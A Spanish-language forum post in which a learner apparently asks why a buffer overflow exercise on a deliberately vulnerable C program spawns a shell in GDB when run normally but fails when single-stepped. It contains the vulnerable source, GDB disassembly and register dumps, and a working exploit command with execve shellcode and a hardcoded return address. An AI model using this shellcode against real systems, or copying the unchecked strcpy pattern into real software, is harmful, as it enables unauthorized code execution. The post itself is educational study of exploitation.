Hola, estoy depurando un programilla escrito en C para aprender el funcionamiento básico de los buffers overflows, lo cargo en GDB, lo corro y consigo ejecutar la shellcode con el resultado esperado, en cambio si meto un brakpoint y voy instrucción a instrucción el resultado es diferente:
(gdb) run `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
buff_a is stored at 0xbffff700.
buff_b is stored at 0xbffff6e8.
buff_c is stored at 0xbffff6c8.
process 4734 is executing new program: /bin/dash
$
Con breakpoint:
-- Desensamblo la función para saber donde me interesa meter el breakpoint:
(gdb) disassemble func
Dump of assembler code for function func:
0x080484ac <+0>: push %ebp
0x080484ad <+1>: mov %esp,%ebp
0x080484af <+3>: sub $0x78,%esp
0x080484b2 <+6>: lea -0x28(%ebp),%eax
0x080484b5 <+9>: mov %eax,0x4(%esp)
0x080484b9 <+13>: movl $0x8048620,(%esp)
0x080484c0 <+20>: call 0x8048360 <printf@plt>
0x080484c5 <+25>: lea -0x40(%ebp),%eax
0x080484c8 <+28>: mov %eax,0x4(%esp)
0x080484cc <+32>: movl $0x804863c,(%esp)
0x080484d3 <+39>: call 0x8048360 <printf@plt>
0x080484d8 <+44>: lea -0x60(%ebp),%eax
0x080484db <+47>: mov %eax,0x4(%esp)
0x080484df <+51>: movl $0x8048658,(%esp)
0x080484e6 <+58>: call 0x8048360 <printf@plt>
0x080484eb <+63>: movl $0x20,0x8(%esp)
0x080484f3 <+71>: mov 0x8(%ebp),%eax
0x080484f6 <+74>: mov %eax,0x4(%esp)
0x080484fa <+78>: lea -0x60(%ebp),%eax
0x080484fd <+81>: mov %eax,(%esp)
0x08048500 <+84>: call 0x80483b0 <strncpy@plt>
0x08048505 <+89>: movl $0x17,0x8(%esp)
0x0804850d <+97>: mov 0xc(%ebp),%eax
0x08048510 <+100>: mov %eax,0x4(%esp)
0x08048514 <+104>: lea -0x40(%ebp),%eax
0x08048517 <+107>: mov %eax,(%esp)
0x0804851a <+110>: call 0x80483b0 <strncpy@plt>
0x0804851f <+115>: lea -0x60(%ebp),%eax
0x08048522 <+118>: mov %eax,0x4(%esp)
0x08048526 <+122>: lea -0x28(%ebp),%eax
0x08048529 <+125>: mov %eax,(%esp)
0x0804852c <+128>: call 0x8048370 <strcpy@plt>
0x08048531 <+133>: leave
0x08048532 <+134>: ret
End of assembler dump.
-- Meto el breakpoint:
(gdb) break *func+133
Breakpoint 1 at 0x8048531
-- Vuelvo a ejecutar el programa:
(gdb) run `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
buff_a is stored at 0xbffff700.
buff_b is stored at 0xbffff6e8.
buff_c is stored at 0xbffff6c8.
Breakpoint 1, 0x08048531 in func ()
-- Compruebo que estoy ejecutando la instarucción donde metí el breakpoint:
(gdb) disassemble
Dump of assembler code for function func:
0x080484ac <+0>: push %ebp
0x080484ad <+1>: mov %esp,%ebp
0x080484af <+3>: sub $0x78,%esp
0x080484b2 <+6>: lea -0x28(%ebp),%eax
0x080484b5 <+9>: mov %eax,0x4(%esp)
0x080484b9 <+13>: movl $0x8048620,(%esp)
0x080484c0 <+20>: call 0x8048360 <printf@plt>
0x080484c5 <+25>: lea -0x40(%ebp),%eax
0x080484c8 <+28>: mov %eax,0x4(%esp)
0x080484cc <+32>: movl $0x804863c,(%esp)
0x080484d3 <+39>: call 0x8048360 <printf@plt>
0x080484d8 <+44>: lea -0x60(%ebp),%eax
0x080484db <+47>: mov %eax,0x4(%esp)
0x080484df <+51>: movl $0x8048658,(%esp)
0x080484e6 <+58>: call 0x8048360 <printf@plt>
0x080484eb <+63>: movl $0x20,0x8(%esp)
0x080484f3 <+71>: mov 0x8(%ebp),%eax
0x080484f6 <+74>: mov %eax,0x4(%esp)
0x080484fa <+78>: lea -0x60(%ebp),%eax
0x080484fd <+81>: mov %eax,(%esp)
0x08048500 <+84>: call 0x80483b0 <strncpy@plt>
0x08048505 <+89>: movl $0x17,0x8(%esp)
0x0804850d <+97>: mov 0xc(%ebp),%eax
0x08048510 <+100>: mov %eax,0x4(%esp)
0x08048514 <+104>: lea -0x40(%ebp),%eax
0x08048517 <+107>: mov %eax,(%esp)
0x0804851a <+110>: call 0x80483b0 <strncpy@plt>
0x0804851f <+115>: lea -0x60(%ebp),%eax
0x08048522 <+118>: mov %eax,0x4(%esp)
0x08048526 <+122>: lea -0x28(%ebp),%eax
0x08048529 <+125>: mov %eax,(%esp)
0x0804852c <+128>: call 0x8048370 <strcpy@plt>
=> 0x08048531 <+133>: leave
0x08048532 <+134>: ret
End of assembler dump.
-- Consulto el estado de los registros:
(gdb) info registers
eax 0xbffff700 -1073744128
ecx 0x0 0
edx 0x31 49
ebx 0xb7fd5ff4 -1208131596
esp 0xbffff6b0 0xbffff6b0
ebp 0xbffff728 0xbffff728
esi 0x0 0
edi 0x0 0
eip 0x8048531 0x8048531 <func+133>
eflags 0x246 [ PF ZF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
-- Avanzo una instrucción:
(gdb) stepi
0x08048532 in func ()
-- Consulto el estado de los registros:
(gdb) info registers
eax 0xbffff700 -1073744128
ecx 0x0 0
edx 0x31 49
ebx 0xb7fd5ff4 -1208131596
esp 0xbffff72c 0xbffff72c
ebp 0x43434343 0x43434343
esi 0x0 0
edi 0x0 0
eip 0x8048532 0x8048532 <func+134>
eflags 0x246 [ PF ZF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
-- Consulto por que parte del código voy:
(gdb) disassemble
Dump of assembler code for function func:
0x080484ac <+0>: push %ebp
0x080484ad <+1>: mov %esp,%ebp
0x080484af <+3>: sub $0x78,%esp
0x080484b2 <+6>: lea -0x28(%ebp),%eax
0x080484b5 <+9>: mov %eax,0x4(%esp)
0x080484b9 <+13>: movl $0x8048620,(%esp)
0x080484c0 <+20>: call 0x8048360 <printf@plt>
0x080484c5 <+25>: lea -0x40(%ebp),%eax
0x080484c8 <+28>: mov %eax,0x4(%esp)
0x080484cc <+32>: movl $0x804863c,(%esp)
0x080484d3 <+39>: call 0x8048360 <printf@plt>
0x080484d8 <+44>: lea -0x60(%ebp),%eax
0x080484db <+47>: mov %eax,0x4(%esp)
0x080484df <+51>: movl $0x8048658,(%esp)
0x080484e6 <+58>: call 0x8048360 <printf@plt>
0x080484eb <+63>: movl $0x20,0x8(%esp)
0x080484f3 <+71>: mov 0x8(%ebp),%eax
0x080484f6 <+74>: mov %eax,0x4(%esp)
0x080484fa <+78>: lea -0x60(%ebp),%eax
0x080484fd <+81>: mov %eax,(%esp)
0x08048500 <+84>: call 0x80483b0 <strncpy@plt>
0x08048505 <+89>: movl $0x17,0x8(%esp)
0x0804850d <+97>: mov 0xc(%ebp),%eax
0x08048510 <+100>: mov %eax,0x4(%esp)
0x08048514 <+104>: lea -0x40(%ebp),%eax
0x08048517 <+107>: mov %eax,(%esp)
0x0804851a <+110>: call 0x80483b0 <strncpy@plt>
0x0804851f <+115>: lea -0x60(%ebp),%eax
0x08048522 <+118>: mov %eax,0x4(%esp)
0x08048526 <+122>: lea -0x28(%ebp),%eax
0x08048529 <+125>: mov %eax,(%esp)
0x0804852c <+128>: call 0x8048370 <strcpy@plt>
0x08048531 <+133>: leave
=> 0x08048532 <+134>: ret
End of assembler dump.
-- Avanzo una instrucción:
(gdb) stepi
Cannot access memory at address 0x43434347
-- Consulto el estado de los registros:
(gdb) info registers
eax 0xbffff700 -1073744128
ecx 0x0 0
edx 0x31 49
ebx 0xb7fd5ff4 -1208131596
esp 0xbffff730 0xbffff730
ebp 0x43434343 0x43434343
esi 0x0 0
edi 0x0 0
eip 0xbffff6c8 0xbffff6c8
eflags 0x246 [ PF ZF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Porque ejecutándolo sin breakpoints corre ok pero step a step no con la misma entrada? El debugger me cambia algo, posiciones de memoria, valores de registros....?
El código en C del programa es:
#include <stdio.h>
#include <string.h>
void func(char *str1, char *str2){
char buff_a[32];
char buff_b[24];
char buff_c[32];
printf(" buff_a is stored at %p.\n", &buff_a);
printf(" buff_b is stored at %p.\n", &buff_b);
printf(" buff_c is stored at %p.\n", &buff_c);
strncpy(buff_c, str1, sizeof(buff_c));
strncpy(buff_b, str2, sizeof(buff_b)-1);
strcpy(buff_a, buff_c);
}
int main(int argc, char *argv[]){
if ( argc < 3 ){
printf("Uso: %s CADENA-1 CADENA-2\n", argv[0]);
exit(0);
}
func(argv[1], argv[2]);
return 0;
}
Un saludo.